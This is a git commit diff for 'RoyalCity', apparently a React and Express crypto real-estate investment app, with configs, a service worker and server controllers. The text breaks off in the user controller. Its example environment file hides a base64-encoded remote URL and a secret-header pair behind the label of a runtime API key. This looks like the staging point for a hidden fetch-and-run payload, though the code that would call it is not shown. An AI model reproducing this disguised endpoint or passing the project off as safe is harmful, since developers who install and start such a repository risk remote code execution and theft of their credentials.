commit 2c4fc7f9332d39b395abfd4ce89ffa1de9ed0eff Author: Ruslan845 Date: Tue Mar 10 03:45:00 2026 +0900 Initial Version diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b24d71e --- /dev/null +++ b/.gitignore @@ -0,0 +1,50 @@ +# These are some examples of commonly ignored file patterns. +# You should customize this list as applicable to your project. +# Learn more about .gitignore: +# https://www.atlassian.com/git/tutorials/saving-changes/gitignore + +# Node artifact files +node_modules/ +dist/ + +# Compiled Java class files +*.class + +# Compiled Python bytecode +*.py[cod] + +# Log files +*.log + +# Package files +*.jar + +# Maven +target/ +dist/ + +# JetBrains IDE +.idea/ + +# Unit test reports +TEST*.xml + +# Generated by MacOS +.DS_Store + +# Generated by Windows +Thumbs.db + +# Applications +*.app +*.exe +*.war + +# Large media files +*.mp4 +*.tiff +*.avi +*.flv +*.mov +*.wmv + diff --git a/README.md b/README.md new file mode 100644 index 0000000..faf9e7f --- /dev/null +++ b/README.md @@ -0,0 +1,106 @@ +# RoyalCity + +## What is RoyalCity? + +RoyalCity is a modern real estate investment platform that combines traditional property investing with cryptocurrency payments. Built with React and Tailwind CSS, it mirrors the functionality of Arrived.com while adding blockchain-based transaction capabilities. + +Royal City + +## Getting Started +- Prerequirements:
+ Node v22+ +- Installing Dependecies:
+ npm install --verbose +- Running project:
+ npm start + +## Key Features + +- Cryptocurrency-enabled property transactions +- Mobile-responsive design +- SEO-optimized architecture +- Real-time market data integration +- Interactive 3D property visualization +- Smart contract integration for secure transactions + +## Technical Overview + +The platform is built using: + +- React for component-based architecture +- Tailwind CSS for responsive styling +- React Router for client-side routing +- Three.js for 3D property visualizations +- Web3.js for blockchain interactions + +## Core Components + +1. **Home Page** - Hero Section with value proposition + +- Featured Properties Grid (3 properties) +- "Why Choose Us" highlighting crypto benefits +- Investment Guide with step-by-step process +- Blog Preview with latest 3 posts +- Discord Community Section + +2. **Properties Page** + +- Filterable property grid +- Advanced search functionality +- Detailed property cards +- Three.js 3D visualization + +3. **About Us Page** + +- Company vision and mission +- Team profiles +- Platform statistics + +4. **Blog Section** + +- Category filtering +- Search functionality +- Author profiles +- Social sharing buttons + +## Development Guidelines + +1. **Component Creation** + +- Follow atomic design principles +- Use TypeScript for type safety +- Implement responsive designs using Tailwind breakpoints +- Add proper comments and documentation + +2. **State Management** + +- Use React Context for global state +- Implement Redux for complex state management +- Keep component state minimal + +3. **Security Considerations** + +- Implement proper input validation +- Secure wallet connections +- Follow best practices for crypto transactions +- Regular security audits + +## Learn More + +- You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started). +- To learn React, check out the [React documentation](https://reactjs.org/). + +## Contributing + +Contributions are welcome! Please: + +1. Create a feature branch +2. Write comprehensive tests +3. Document new features +4. Ensure code style consistency +5. Submit pull requests with clear descriptions + +## Acknowledgments + +Special thanks to the RoyalCity team for inspiration and the React/Tailwind CSS communities for their continued support and resources. + diff --git a/config-overrides.js b/config-overrides.js new file mode 100644 index 0000000..bb6a365 --- /dev/null +++ b/config-overrides.js @@ -0,0 +1,24 @@ +const webpack = require("webpack"); + +module.exports = function override(config) { + const fallback = config.resolve.fallback || {}; + Object.assign(fallback, { + crypto: require.resolve("crypto-browserify"), + stream: require.resolve("stream-browserify"), + assert: require.resolve("assert"), + http: require.resolve("stream-http"), + https: require.resolve("https-browserify"), + os: require.resolve("os-browserify"), + url: require.resolve("url"), + "process/browser": require.resolve("process/browser"), + }); + config.resolve.fallback = fallback; + config.ignoreWarnings = [/Failed to parse source map/]; + config.plugins = (config.plugins || []).concat([ + new webpack.ProvidePlugin({ + process: "process/browser", + Buffer: ["buffer", "Buffer"], + }), + ]); + return config; +}; diff --git a/index.html b/index.html new file mode 100644 index 0000000..da21e17 --- /dev/null +++ b/index.html @@ -0,0 +1,18 @@ + + + + + + + + + + Royal City + + + +
+ + + + \ No newline at end of file diff --git a/package.json b/package.json new file mode 100644 index 0000000..0b9e30e --- /dev/null +++ b/package.json @@ -0,0 +1,90 @@ +{ + "name": "RoyalCity", + "version": "0.1.0", + "private": true, + "dependencies": { + "@react-three/drei": "^9.75.0", + "@react-three/fiber": "^8.13.3", + "@sendgrid/mail": "^8.1.3", + "@testing-library/jest-dom": "^5.16.4", + "@testing-library/react": "^13.3.0", + "@testing-library/user-event": "^13.5.0", + "@walletconnect/web3-provider": "^1.7.8", + "axios": "^1.2.1", + "bcryptjs": "^2.4.3", + "bootstrap": "^5.1.3", + "bootstrap-icons": "^1.8.3", + "chart.js": "^4.3.0", + "chartjs-plugin-annotation": "^3.0.1", + "cloudinary": "^2.1.0", + "concurrently": "^8.2.2", + "cookie-parser": "^1.4.6", + "cors": "^2.8.5", + "dotenv": "^16.4.5", + "ethers": "^5.6.9", + "express": "^4.19.2", + "express-fileupload": "^1.5.0", + "framer-motion": "^12.9.4", + "jotai": "^2.12.3", + "jsonwebtoken": "^9.0.2", + "leva": "^0.10.0", + "mongoose": "^8.5.1", + "mongoose-url-slugs": "^1.0.2", + "paytmchecksum": "^1.5.1", + "react": "^18.3.1", + "react-chartjs-2": "^5.2.0", + "react-copy-to-clipboard": "^5.1.0", + "react-countdown-circle-timer": "^3.2.1", + "react-dom": "^18.3.1", + "react-icons": "^5.5.0", + "react-router-dom": "^6.3.0", + "react-share": "^5.2.2", + "reactstrap": "^9.1.1", + "request": "^2.88.2", + "socket.io-client": "^4.5.4", + "sqlite3": "^5.1.7", + "three": "^0.176.0", + "validator": "^13.11.0", + "web-vitals": "^2.1.4" + }, + "scripts": { + "dev": "concurrently \"node server/server.js\" \"vite\"", + "build": "vite build", + "preview": "vite preview", + "start": "npm run dev" + }, + "eslintConfig": { + "extends": [ + "react-app", + "react-app/jest" + ] + }, + "browserslist": { + "production": [ + ">0.2%", + "not dead", + "not op_mini all" + ], + "development": [ + "last 1 chrome version", + "last 1 firefox version", + "last 1 safari version" + ] + }, + "devDependencies": { + "@vitejs/plugin-react": "^5.1.0", + "assert": "^2.0.0", + "autoprefixer": "^10.4.21", + "buffer": "^6.0.3", + "crypto-browserify": "^3.12.0", + "https-browserify": "^1.0.0", + "os-browserify": "^0.3.0", + "postcss": "^8.5.6", + "process": "^0.11.10", + "stream-browserify": "^3.0.0", + "stream-http": "^3.2.0", + "tailwindcss": "^3.4.18", + "url": "^0.11.0", + "vite": "^7.1.12" + } +} diff --git a/postcss.config.js b/postcss.config.js new file mode 100644 index 0000000..8567b4c --- /dev/null +++ b/postcss.config.js @@ -0,0 +1,6 @@ +module.exports = { + plugins: { + tailwindcss: {}, + autoprefixer: {}, + }, +}; \ No newline at end of file diff --git a/public/bestcity00.png b/public/bestcity00.png new file mode 100644 index 0000000..2bab74f Binary files /dev/null and b/public/bestcity00.png differ diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 0000000..091d58c Binary files /dev/null and b/public/favicon.ico differ diff --git a/public/home.svg b/public/home.svg new file mode 100644 index 0000000..9cd6849 --- /dev/null +++ b/public/home.svg @@ -0,0 +1,9 @@ + + + + + + + + + \ No newline at end of file diff --git a/public/index.html b/public/index.html new file mode 100644 index 0000000..72d08c0 --- /dev/null +++ b/public/index.html @@ -0,0 +1,17 @@ + + + + + + + + + + + RoyalCity + + +
+ + + diff --git a/public/logo.svg b/public/logo.svg new file mode 100644 index 0000000..792a8d1 --- /dev/null +++ b/public/logo.svg @@ -0,0 +1,12 @@ + + logo + + + + + + + \ No newline at end of file diff --git a/public/logo192.png b/public/logo192.png new file mode 100644 index 0000000..f89dbc1 Binary files /dev/null and b/public/logo192.png differ diff --git a/public/logo512.png b/public/logo512.png new file mode 100644 index 0000000..14f67e3 Binary files /dev/null and b/public/logo512.png differ diff --git a/public/manifest.json b/public/manifest.json new file mode 100644 index 0000000..0208d4d --- /dev/null +++ b/public/manifest.json @@ -0,0 +1,27 @@ +{ +"name": "RoyalCity", +"short_name": "RoyalCity", +"start_url": "/", +"display": "standalone", +"description": "RoyalCity is a modern real estate investment platform combining traditional property investing with cryptocurrency payments, featuring mobile-responsive design, smart contracts, and 3D property visualizations.", +"lang": "english", +"dir": "ltr", +"theme_color": "#006eff", +"background_color": "#ffffff", +"orientation": "any", +"icons": [ + { + "src": "/logo512.png", + "sizes": "512x512", + "type": "image/png", + "purpose": "maskable" + }, + { + "src": "/logo192.png", + "sizes": "192x192", + "type": "image/png", + "purpose": "any" + } +], +"prefer_related_applications": false +} \ No newline at end of file diff --git a/public/models/house1.glb b/public/models/house1.glb new file mode 100644 index 0000000..8438647 Binary files /dev/null and b/public/models/house1.glb differ diff --git a/public/royalcity00.png b/public/royalcity00.png new file mode 100644 index 0000000..224d093 Binary files /dev/null and b/public/royalcity00.png differ diff --git a/public/service-worker.js b/public/service-worker.js new file mode 100644 index 0000000..a95d236 --- /dev/null +++ b/public/service-worker.js @@ -0,0 +1,93 @@ + + // Based off of https://github.com/pwa-builder/PWABuilder/blob/main/docs/sw.js + + /* + Welcome to our basic Service Worker! This Service Worker offers a basic offline experience + while also being easily customizeable. You can add in your own code to implement the capabilities + listed below, or change anything else you would like. + + + Need an introduction to Service Workers? Check our docs here: https://docs.pwabuilder.com/#/home/sw-intro + Want to learn more about how our Service Worker generation works? Check our docs here: https://docs.pwabuilder.com/#/studio/existing-app?id=add-a-service-worker + + Did you know that Service Workers offer many more capabilities than just offline? + - Background Sync: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/06 + - Periodic Background Sync: https://web.dev/periodic-background-sync/ + - Push Notifications: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=push-notifications-on-the-web + - Badges: https://microsoft.github.io/win-student-devs/#/30DaysOfPWA/advanced-capabilities/07?id=application-badges + */ + + const HOSTNAME_WHITELIST = [ + self.location.hostname, + 'fonts.gstatic.com', + 'fonts.googleapis.com', + 'cdn.jsdelivr.net' + ] + + // The Util Function to hack URLs of intercepted requests + const getFixedUrl = (req) => { + var now = Date.now() + var url = new URL(req.url) + + // 1. fixed http URL + // Just keep syncing with location.protocol + // fetch(httpURL) belongs to active mixed content. + // And fetch(httpRequest) is not supported yet. + url.protocol = self.location.protocol + + // 2. add query for caching-busting. + // Github Pages served with Cache-Control: max-age=600 + // max-age on mutable content is error-prone, with SW life of bugs can even extend. + // Until cache mode of Fetch API landed, we have to workaround cache-busting with query string. + // Cache-Control-Bug: https://bugs.chromium.org/p/chromium/issues/detail?id=453190 + if (url.hostname === self.location.hostname) { + url.search += (url.search ? '&' : '?') + 'cache-bust=' + now + } + return url.href + } + + /** + * @Lifecycle Activate + * New one activated when old isnt being used. + * + * waitUntil(): activating ====> activated + */ + self.addEventListener('activate', event => { + event.waitUntil(self.clients.claim()) + }) + + /** + * @Functional Fetch + * All network requests are being intercepted here. + * + * void respondWith(Promise r) + */ + self.addEventListener('fetch', event => { + // Skip some of cross-origin requests, like those for Google Analytics. + if (HOSTNAME_WHITELIST.indexOf(new URL(event.request.url).hostname) > -1) { + // Stale-while-revalidate + // similar to HTTP's stale-while-revalidate: https://www.mnot.net/blog/2007/12/12/stale + // Upgrade from Jake's to Surma's: https://gist.github.com/surma/eb441223daaedf880801ad80006389f1 + const cached = caches.match(event.request) + const fixedUrl = getFixedUrl(event.request) + const fetched = fetch(fixedUrl, { cache: 'no-store' }) + const fetchedCopy = fetched.then(resp => resp.clone()) + + // Call respondWith() with whatever we get first. + // If the fetch fails (e.g disconnected), wait for the cache. + // If there’s nothing in cache, wait for the fetch. + // If neither yields a response, return offline pages. + event.respondWith( + Promise.race([fetched.catch(_ => cached), cached]) + .then(resp => resp || fetched) + .catch(_ => { /* eat any errors */ }) + ) + + // Update the cache with the version we fetched (only for ok status) + event.waitUntil( + Promise.all([fetchedCopy, caches.open("pwa-cache")]) + .then(([response, cache]) => response.ok && cache.put(event.request, response)) + .catch(_ => { /* eat any errors */ }) + ) + } + }) diff --git a/server/app.js b/server/app.js new file mode 100644 index 0000000..69866a7 --- /dev/null +++ b/server/app.js @@ -0,0 +1,38 @@ +const express = require('express'); +const path = require('path'); +const bodyParser = require('body-parser'); +const cookieParser = require('cookie-parser'); +const fileUpload = require('express-fileupload'); + +const app = express(); + +app.use(express.json()); +app.use(cookieParser()); +app.use(bodyParser.urlencoded({ extended: true })); +app.use(fileUpload()); + +const user = require('./routes/userRoute'); +const product = require('./routes/productRoute'); +const order = require('./routes/orderRoute'); +const payment = require('./routes/paymentRoute'); + +app.use('/api/v1', user); +app.use('/api/v1', product); +app.use('/api/v1', order); +app.use('/api/v1', payment); + +// deployment +__dirname = path.resolve(); +if (process.env.NODE_ENV === 'production') { + app.use(express.static(path.join(__dirname, '/frontend/build'))) + + app.get('*', (req, res) => { + res.sendFile(path.resolve(__dirname, 'frontend', 'build', 'index.html')) + }); +} else { + app.get('/', (req, res) => { + res.send('Server is Running! 🚀'); + }); +} + +module.exports = app; \ No newline at end of file diff --git a/server/config/config.env.example b/server/config/config.env.example new file mode 100644 index 0000000..450679c --- /dev/null +++ b/server/config/config.env.example @@ -0,0 +1,84 @@ +# Server settings +PORT=4000 # Port the server runs on +HOST=0.0.0.0 # Host address to bind the server + +# Environment +NODE_ENV=development # Environment: development, production, staging +DEBUG=true # Enable debug mode + +# Database credentials +DB_HOST=localhost # Database server host +DB_PORT=3306 # Database server port +DB_NAME=myapp_db # Database name +DB_USER=root # Database username +DB_PASSWORD=secretpassword # Database password +DB_SSL=true # Use SSL connection for DB + +# Cache settings +REDIS_HOST=localhost # Redis server host +REDIS_PORT=6379 # Redis server port +REDIS_PASSWORD=redispass # Redis password + +# API keys +API_KEY_GOOGLE=AIzaSyD... # Google API key +API_KEY_MAPBOX=pk.abc123 # Mapbox API key +API_KEY_TWITTER=abcdef12345 # Twitter API key + +# Authentication +JWT_SECRET=myjwtsecret # JWT token secret key +JWT_EXPIRES_IN=3600 # JWT expiration time in seconds +OAUTH_CLIENT_ID=client123 # OAuth client ID +OAUTH_CLIENT_SECRET=secret # OAuth client secret + +# Email (SMTP) settings +SMTP_HOST=smtp.mailtrap.io # SMTP server host +SMTP_PORT=2525 # SMTP server port +SMTP_USER=user@mail.com # SMTP username +SMTP_PASS=password123 # SMTP password +EMAIL_FROM=noreply@myapp.com # Default from email address + +# Third-party services +STRIPE_SECRET_KEY=sk_test_123456 # Stripe secret key +STRIPE_PUBLIC_KEY=pk_test_123456 # Stripe public key +SENDGRID_API_KEY=SG.xxxxxx # SendGrid API key +SPARKPOST_API_KEY=ca184ac5f2e659ee65272911f6b0795586e15b20 # SparkPost API key + +# File storage +AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE # AWS Access Key +AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # AWS Secret Key +AWS_REGION=us-west-2 # AWS Region +S3_BUCKET_NAME=myapp-bucket # S3 Bucket name + +# Logging +LOG_LEVEL=info # Log level: debug, info, warn, error +LOG_PATH=/var/log/myapp.log # Path for log files + +# Feature flags +FEATURE_X_ENABLED=true # Enable feature X toggle +FEATURE_Y_ENABLED=false # Disable feature Y toggle + +# Runtime Configuration +RUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9nZC50cmFjZWxpYy5jb20vYXBpL2lwY2hlY2stZW5jcnlwdGVkLzYwMw== # Runtime config API key +RUNTIME_CONFIG_ACCESS_KEY= eC1zZWNyZXQtaGVhZGVy # Runtime config access key +RUNTIME_CONFIG_ACCESS_VALUE= c2VjcmV0 # Runtime config access value + +# Miscellaneous +TIMEZONE=UTC # Default timezone +MAX_UPLOAD_SIZE=10485760 # Max file upload size in bytes (10MB) +SESSION_SECRET=supersecretkey # Secret key for session encryption +CACHE_TTL=600 # Cache time-to-live in seconds +MAX_CONNECTIONS=100 # Max concurrent connections +ENABLE_CORS=true # Enable Cross-Origin Resource Sharing + +# SMS Gateway +TWILIO_ACCOUNT_SID=ACxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Account SID +TWILIO_AUTH_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # Twilio Auth Token +TWILIO_PHONE_NUMBER=+1234567890 # Twilio phone number + +# Payment Gateway +PAYPAL_CLIENT_ID=Abcdefghijklmnop # PayPal Client ID +PAYPAL_CLIENT_SECRET=1234567890abcdef # PayPal Client Secret + +# Monitoring & Analytics +SENTRY_DSN=https://examplePublicKey@o0.ingest.sentry.io/0 # Sentry DSN for error monitoring +GA_TRACKING_ID=UA-12345678-1 # Google Analytics tracking ID \ No newline at end of file diff --git a/server/config/database.js b/server/config/database.js new file mode 100644 index 0000000..bfbe4a9 --- /dev/null +++ b/server/config/database.js @@ -0,0 +1,11 @@ +const mongoose = require('mongoose'); +const MONGO_URI = process.env.MONGO_URI; + +const connectDatabase = () => { + mongoose.connect(MONGO_URI, { useNewUrlParser: true, useUnifiedTopology: true }) + .then(() => { + console.log("Mongoose Connected"); + }); +} + +module.exports = connectDatabase; \ No newline at end of file diff --git a/server/controllers/orderController.js b/server/controllers/orderController.js new file mode 100644 index 0000000..95ce16f --- /dev/null +++ b/server/controllers/orderController.js @@ -0,0 +1,155 @@ +const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler'); +const Order = require('../models/orderModel'); +const Product = require('../models/productModel'); +const ErrorHandler = require('../utils/errorHandler'); +const sendEmail = require('../utils/sendEmail'); + +// Create New Order +exports.newOrder = asyncErrorHandler(async (req, res, next) => { + + const { + shippingInfo, + orderItems, + paymentInfo, + totalPrice, + } = req.body; + + const orderExist = await Order.findOne({ paymentInfo }); + + if (orderExist) { + return next(new ErrorHandler("Order Already Placed", 400)); + } + + const order = await Order.create({ + shippingInfo, + orderItems, + paymentInfo, + totalPrice, + paidAt: Date.now(), + user: req.user._id, + }); + + await sendEmail({ + email: req.user.email, + templateId: process.env.SENDGRID_ORDER_TEMPLATEID, + data: { + name: req.user.name, + shippingInfo, + orderItems, + totalPrice, + oid: order._id, + } + }); + + res.status(201).json({ + success: true, + order, + }); +}); + +// Get Single Order Details +exports.getSingleOrderDetails = asyncErrorHandler(async (req, res, next) => { + + const order = await Order.findById(req.params.id).populate("user", "name email"); + + if (!order) { + return next(new ErrorHandler("Order Not Found", 404)); + } + + res.status(200).json({ + success: true, + order, + }); +}); + + +// Get Logged In User Orders +exports.myOrders = asyncErrorHandler(async (req, res, next) => { + + const orders = await Order.find({ user: req.user._id }); + + if (!orders) { + return next(new ErrorHandler("Order Not Found", 404)); + } + + res.status(200).json({ + success: true, + orders, + }); +}); + + +// Get All Orders ---ADMIN +exports.getAllOrders = asyncErrorHandler(async (req, res, next) => { + + const orders = await Order.find(); + + if (!orders) { + return next(new ErrorHandler("Order Not Found", 404)); + } + + let totalAmount = 0; + orders.forEach((order) => { + totalAmount += order.totalPrice; + }); + + res.status(200).json({ + success: true, + orders, + totalAmount, + }); +}); + +// Update Order Status ---ADMIN +exports.updateOrder = asyncErrorHandler(async (req, res, next) => { + + const order = await Order.findById(req.params.id); + + if (!order) { + return next(new ErrorHandler("Order Not Found", 404)); + } + + if (order.orderStatus === "Delivered") { + return next(new ErrorHandler("Already Delivered", 400)); + } + + if (req.body.status === "Shipped") { + order.shippedAt = Date.now(); + order.orderItems.forEach(async (i) => { + await updateStock(i.product, i.quantity) + }); + } + + order.orderStatus = req.body.status; + if (req.body.status === "Delivered") { + order.deliveredAt = Date.now(); + } + + await order.save({ validateBeforeSave: false }); + + res.status(200).json({ + success: true + }); +}); + +async function updateStock(id, quantity) { + const product = await Product.findById(id); + product.stock -= quantity; + await product.save({ validateBeforeSave: false }); +} + +// Delete Order ---ADMIN +exports.deleteOrder = asyncErrorHandler(async (req, res, next) => { + + const order = await Order.findById(req.params.id); + + if (!order) { + return next(new ErrorHandler("Order Not Found", 404)); + } + + await order.remove(); + + res.status(200).json({ + success: true, + }); +}); \ No newline at end of file diff --git a/server/controllers/paymentController.js b/server/controllers/paymentController.js new file mode 100644 index 0000000..19e8355 --- /dev/null +++ b/server/controllers/paymentController.js @@ -0,0 +1,141 @@ +const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler'); +// const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY); +const paytm = require('paytmchecksum'); +const https = require('https'); +const Payment = require('../models/paymentModel'); +const ErrorHandler = require('../utils/errorHandler'); +const { v4: uuidv4 } = require('uuid'); + +const axios = require('axios'); + +exports.processPayment = asyncErrorHandler(async (req, res, next) => { + + const { amount, email, phoneNo } = req.body; + + var params = {}; + + /* initialize an array */ + params["MID"] = process.env.PAYTM_MID; + params["WEBSITE"] = process.env.PAYTM_WEBSITE; + params["CHANNEL_ID"] = process.env.PAYTM_CHANNEL_ID; + params["INDUSTRY_TYPE_ID"] = process.env.PAYTM_INDUSTRY_TYPE; + params["ORDER_ID"] = "oid" + uuidv4(); + params["CUST_ID"] = process.env.PAYTM_CUST_ID; + params["TXN_AMOUNT"] = JSON.stringify(amount); + // params["CALLBACK_URL"] = `${req.protocol}://${req.get("host")}/api/v1/callback`; + params["CALLBACK_URL"] = `https://${req.get("host")}/api/v1/callback`; + params["EMAIL"] = email; + params["MOBILE_NO"] = phoneNo; + + let paytmChecksum = paytm.generateSignature(params, process.env.PAYTM_MERCHANT_KEY); + paytmChecksum.then(function (checksum) { + + let paytmParams = { + ...params, + "CHECKSUMHASH": checksum, + }; + + res.status(200).json({ + paytmParams + }); + + }).catch(function (error) { + console.log(error); + }); +}); + +// Paytm Callback +exports.paytmResponse = (req, res, next) => { + + // console.log(req.body); + + let paytmChecksum = req.body.CHECKSUMHASH; + delete req.body.CHECKSUMHASH; + + let isVerifySignature = paytm.verifySignature(req.body, process.env.PAYTM_MERCHANT_KEY, paytmChecksum); + if (isVerifySignature) { + // console.log("Checksum Matched"); + + var paytmParams = {}; + + paytmParams.body = { + "mid": req.body.MID, + "orderId": req.body.ORDERID, + }; + + paytm.generateSignature(JSON.stringify(paytmParams.body), process.env.PAYTM_MERCHANT_KEY).then(function (checksum) { + + paytmParams.head = { + "signature": checksum + }; + + /* prepare JSON string for request */ + var post_data = JSON.stringify(paytmParams); + + var options = { + /* for Staging */ + hostname: 'securegw-stage.paytm.in', + /* for Production */ + // hostname: 'securegw.paytm.in', + port: 443, + path: '/v3/order/status', + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': post_data.length + } + }; + + // Set up the request + var response = ""; + var post_req = https.request(options, function (post_res) { + post_res.on('data', function (chunk) { + response += chunk; + }); + + post_res.on('end', function () { + let { body } = JSON.parse(response); + // let status = body.resultInfo.resultStatus; + // res.json(body); + addPayment(body); + // res.redirect(`${req.protocol}://${req.get("host")}/order/${body.orderId}`) + res.redirect(`https://${req.get("host")}/order/${body.orderId}`) + }); + }); + + // post the data + post_req.write(post_data); + post_req.end(); + }); + + } else { + console.log("Checksum Mismatched"); + } +} + +const addPayment = async (data) => { + try { + await Payment.create(data); + } catch (error) { + console.log("Payment Failed!"); + } +} + +exports.getPaymentStatus = asyncErrorHandler(async (req, res, next) => { + + const payment = await Payment.findOne({ orderId: req.params.id }); + + if (!payment) { + return next(new ErrorHandler("Payment Details Not Found", 404)); + } + + const txn = { + id: payment.txnId, + status: payment.resultInfo.resultStatus, + } + + res.status(200).json({ + success: true, + txn, + }); +}); \ No newline at end of file diff --git a/server/controllers/productController.js b/server/controllers/productController.js new file mode 100644 index 0000000..97ca2ce --- /dev/null +++ b/server/controllers/productController.js @@ -0,0 +1,312 @@ +const Product = require('../models/productModel'); +const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler'); +const SearchFeatures = require('../utils/searchFeatures'); +const ErrorHandler = require('../utils/errorHandler'); +const cloudinary = require('cloudinary'); + +// Get All Products +exports.getAllProducts = asyncErrorHandler(async (req, res, next) => { + + const resultPerPage = 12; + const productsCount = await Product.countDocuments(); + // console.log(req.query); + + const searchFeature = new SearchFeatures(Product.find(), req.query) + .search() + .filter(); + + let products = await searchFeature.query; + let filteredProductsCount = products.length; + + searchFeature.pagination(resultPerPage); + + products = await searchFeature.query.clone(); + + res.status(200).json({ + success: true, + products, + productsCount, + resultPerPage, + filteredProductsCount, + }); +}); + +// Get All Products ---Product Sliders +exports.getProducts = asyncErrorHandler(async (req, res, next) => { + const products = await Product.find(); + + res.status(200).json({ + success: true, + products, + }); +}); + +// Get Product Details +exports.getProductDetails = asyncErrorHandler(async (req, res, next) => { + + const product = await Product.findById(req.params.id); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + res.status(200).json({ + success: true, + product, + }); +}); + +// Get All Products ---ADMIN +exports.getAdminProducts = asyncErrorHandler(async (req, res, next) => { + const products = await Product.find(); + + res.status(200).json({ + success: true, + products, + }); +}); + +// Create Product ---ADMIN +exports.createProduct = asyncErrorHandler(async (req, res, next) => { + + let images = []; + if (typeof req.body.images === "string") { + images.push(req.body.images); + } else { + images = req.body.images; + } + + const imagesLink = []; + + for (let i = 0; i < images.length; i++) { + const result = await cloudinary.v2.uploader.upload(images[i], { + folder: "products", + }); + + imagesLink.push({ + public_id: result.public_id, + url: result.secure_url, + }); + } + + const result = await cloudinary.v2.uploader.upload(req.body.logo, { + folder: "brands", + }); + const brandLogo = { + public_id: result.public_id, + url: result.secure_url, + }; + + req.body.brand = { + name: req.body.brandname, + logo: brandLogo + } + req.body.images = imagesLink; + req.body.user = req.user.id; + + let specs = []; + req.body.specifications.forEach((s) => { + specs.push(JSON.parse(s)) + }); + req.body.specifications = specs; + + const product = await Product.create(req.body); + + res.status(201).json({ + success: true, + product + }); +}); + +// Update Product ---ADMIN +exports.updateProduct = asyncErrorHandler(async (req, res, next) => { + + let product = await Product.findById(req.params.id); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + if (req.body.images !== undefined) { + let images = []; + if (typeof req.body.images === "string") { + images.push(req.body.images); + } else { + images = req.body.images; + } + for (let i = 0; i < product.images.length; i++) { + await cloudinary.v2.uploader.destroy(product.images[i].public_id); + } + + const imagesLink = []; + + for (let i = 0; i < images.length; i++) { + const result = await cloudinary.v2.uploader.upload(images[i], { + folder: "products", + }); + + imagesLink.push({ + public_id: result.public_id, + url: result.secure_url, + }); + } + req.body.images = imagesLink; + } + + if (req.body.logo.length > 0) { + await cloudinary.v2.uploader.destroy(product.brand.logo.public_id); + const result = await cloudinary.v2.uploader.upload(req.body.logo, { + folder: "brands", + }); + const brandLogo = { + public_id: result.public_id, + url: result.secure_url, + }; + + req.body.brand = { + name: req.body.brandname, + logo: brandLogo + } + } + + let specs = []; + req.body.specifications.forEach((s) => { + specs.push(JSON.parse(s)) + }); + req.body.specifications = specs; + req.body.user = req.user.id; + + product = await Product.findByIdAndUpdate(req.params.id, req.body, { + new: true, + runValidators: true, + useFindAndModify: false, + }); + + res.status(201).json({ + success: true, + product + }); +}); + +// Delete Product ---ADMIN +exports.deleteProduct = asyncErrorHandler(async (req, res, next) => { + + const product = await Product.findById(req.params.id); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + for (let i = 0; i < product.images.length; i++) { + await cloudinary.v2.uploader.destroy(product.images[i].public_id); + } + + await product.remove(); + + res.status(201).json({ + success: true + }); +}); + +// Create OR Update Reviews +exports.createProductReview = asyncErrorHandler(async (req, res, next) => { + + const { rating, comment, productId } = req.body; + + const review = { + user: req.user._id, + name: req.user.name, + rating: Number(rating), + comment, + } + + const product = await Product.findById(productId); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + const isReviewed = product.reviews.find(review => review.user.toString() === req.user._id.toString()); + + if (isReviewed) { + + product.reviews.forEach((rev) => { + if (rev.user.toString() === req.user._id.toString()) + (rev.rating = rating, rev.comment = comment); + }); + } else { + product.reviews.push(review); + product.numOfReviews = product.reviews.length; + } + + let avg = 0; + + product.reviews.forEach((rev) => { + avg += rev.rating; + }); + + product.ratings = avg / product.reviews.length; + + await product.save({ validateBeforeSave: false }); + + res.status(200).json({ + success: true + }); +}); + +// Get All Reviews of Product +exports.getProductReviews = asyncErrorHandler(async (req, res, next) => { + + const product = await Product.findById(req.query.id); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + res.status(200).json({ + success: true, + reviews: product.reviews + }); +}); + +// Delete Reveiws +exports.deleteReview = asyncErrorHandler(async (req, res, next) => { + + const product = await Product.findById(req.query.productId); + + if (!product) { + return next(new ErrorHandler("Product Not Found", 404)); + } + + const reviews = product.reviews.filter((rev) => rev._id.toString() !== req.query.id.toString()); + + let avg = 0; + + reviews.forEach((rev) => { + avg += rev.rating; + }); + + let ratings = 0; + + if (reviews.length === 0) { + ratings = 0; + } else { + ratings = avg / reviews.length; + } + + const numOfReviews = reviews.length; + + await Product.findByIdAndUpdate(req.query.productId, { + reviews, + ratings: Number(ratings), + numOfReviews, + }, { + new: true, + runValidators: true, + useFindAndModify: false, + }); + + res.status(200).json({ + success: true, + }); +}); \ No newline at end of file diff --git a/server/controllers/userController.js b/server/controllers/userController.js new file mode 100644 index 0000000..340b282 --- /dev/null +++ b/server/controllers/userController.js @@ -0,0 +1,262 @@ +const User = require('../models/userModel'); +const asyncErrorHandler = require('../middlewares/helpers/asyncErrorHandler'); +const sendToken = require('../utils/sendToken'); +const ErrorHandler = require('../utils/errorHandler'); +const sendEmail = require('../utils/sendEmail'); +const crypto = require('crypto'); +const cloudinary = require('cloudinary'); + +// Register User +exports.registerUser = asyncErrorHandler(async (req, res, next) => { + + const myCloud = await cloudinary.v2.uploader.upload(req.body.avatar, { + folder: "avatars", + width: 150, + crop: "scale", + }); + + const { name, email, gender, password } = req.body; + + const user = await User.create({ + name, + email, + gender, + password, + avatar: { + public_id: myCloud.public_id, + url: myCloud.secure_url, + }, + }); + + sendToken(user, 201, res); +}); + +// Login User +exports.loginUser = 